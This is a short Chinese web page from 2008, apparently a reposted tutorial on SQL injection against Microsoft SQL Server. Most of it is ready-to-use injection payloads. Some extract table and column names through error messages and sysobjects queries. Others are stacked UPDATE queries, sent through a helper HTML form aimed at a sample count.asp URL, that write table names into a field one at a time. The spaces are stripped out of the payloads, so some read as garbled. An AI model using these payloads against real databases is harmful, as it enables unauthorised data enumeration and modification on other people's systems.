非常经典的Ms Sql注射资料
2008-10-04 11:10:32 来源:WEB开发网;;and(selectTop1namefromsysobjectswherextype='U'andstatus>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U'andstatus>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and(selectTop1col_name(object_id('表名'),1)fromsysobjects)>0
从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容:主要是方便输入。
<iframename=psrc=#width=800height=350frameborder=0></iframe>
枚举出他的数据表名:
<br>
<formaction=http://test.com/count.asptarget=p>
<inputname="id"value="1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0);--"style="width:750">
<inputtype=submitvalue=">>>">
<inputtype=hiddenname=fnovalue="2,3">
</form>
id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上andname<>'刚才得到的表名')。
id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0andname<>'vote');--
更多精彩
赞助商链接